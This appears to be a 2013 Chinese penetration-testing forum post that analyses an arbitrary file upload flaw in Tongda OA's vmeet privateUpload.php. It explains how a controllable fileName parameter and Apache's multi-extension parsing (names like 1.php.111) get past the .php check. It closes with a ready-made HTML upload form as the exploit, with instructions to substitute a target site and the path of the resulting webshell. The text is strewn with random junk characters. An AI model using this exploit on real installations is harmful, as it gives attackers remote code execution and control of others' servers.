中国网络渗透测试联盟

标题: 通达OA getshell漏洞分析附EXP [打印本页]

作者: admin    时间: 2013-4-16 16:46
标题: 通达OA getshell漏洞分析附EXP
作者:西毒@SafeKey Team* |+ }0 o4 ~- |0 P+ _5 Y2 c# K5 v! R
# ]8 X  @# x& y) z+ m  m
6 z; T/ i) R( o  q7 u
* n- y" S- q2 ~8 W6 {7 \
在general/vmeet/ 下的 privateUpload.php文件* A7 ^9 R1 I! R
我们看看代码
' {2 s2 |1 w+ v3 ?  u
, V! c* W) m5 M4 b 4 Q% P0 Z8 g4 P. u9 a2 b
. ^9 ]3 n2 L  C) x5 F/ T
include_once( "inc/conn.php" ); //包含conn.php该文件 include_once( "inc/utility_file.php" );//包含utility_file.php这个文件 ob_end_clean( );  //清除缓冲区 $uploadFileName = $_FILES['Filedata']['name'];  //获取上传文件名 $uploadFile = $_FILES['Filedata']['tmp_name'];   //获取上传临时文件地址 $uploadFileName = iconv( "UTF-8", $MYOA_CHARSET, $uploadFileName );  //转换文件名编码,统一utf-8 if ( is_uploaded_file( $uploadFile ) )  //这里判断是否已经上传了文件,如果存在临时文件则执行下面语句 {         $pos = strrpos( $uploadFileName, "." ); //取文件名最好一个包含点的位置         $len = strlen( $uploadFileName ); //获取文件名长度         $extendType = substr( $uploadFileName, $pos, $len );//取最后的文件名         if ( strtolower( $extendType ) == ".php" )  //判断后缀是否为.php如果是.php则不执行,如果否继续执行下面的语句         {                 echo "upload file fobidden";                 exit( );         }         $localFileName = $_GET['fileName']; //get方式获取文件名 漏洞出现在这里         $ZLCHAT_ATTACH = "upload/"; //上传目录         $localFile = "{$ZLCHAT_ATTACH}/temp/".$localFileName; //上传位置,其中$localFileName是可控的变量         if ( !td_move_uploaded_file( $uploadFile, $localFile ) ) //这里就上传了         {                 echo "upload failed";         } } ?>
/ Z2 ~: s2 J! c- D* m这是对上面代码的一个解析,看看我们怎么绕过这个过程拿下webshell呢?" `6 q- Q& R5 b5 f, l, v
首先我们必须得明白….这里系统采用的是apache服务器,apache服务器存在一个解析漏洞,即 当遇到这样的文件(1.php.222) 他会解析这个文件为php
/ @5 K) q  T( Y1 v4 Q我们这里就是利用这个漏洞绕过上面的检测后缀名的。2 d. ?" p" w. U. M( z2 E
0 j6 R0 {$ @, b; T  x
所以我们只要上传非php后缀的文件,然后我们自定义一个后缀为1.php.111这样就行了。 上传目录又告诉我们了,所以我们就这样可以轻松获取一个webshell了7 u+ r2 O" y7 b& }5 w( {
这是我本地测试的结果
9 h, R, ?  M. s& j4 M0 z' D- ~# Z& {. |  k$ v( A4 \  F
下面我附一下利用exp0 F( J0 M2 i( t6 Z1 D' @6 c3 s. t
保存下面的代码为1.html 如果需要测试的话,只需要将192.168.56.139改成你的目标站点6 b9 x7 o% }3 s
exp 放在这里. @1 i4 h2 A/ @
3 K9 {6 ^: c# D, B
$ w* y/ @  Y' E

3 j+ \  B) B) a3 Q 0 Z. q1 I, I; s* |5 h2 c
( k  O( O+ ~" i5 s5 Q+ {- U
<form id=”frmUpload” enctype=”multipart/form-data” action=”http://192.168.56.139/general/vm ... ileName=555.php.111″ method=”post”>Upload a new file:<br> <input type=”file” name=”Filedata” size=”50″><br> <input type=”submit” value=”Upload”> <!–  http://192.168.56.139/general/vmeet/upload/temp/555.php.111    这里是上传之后的网马–> </form>




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2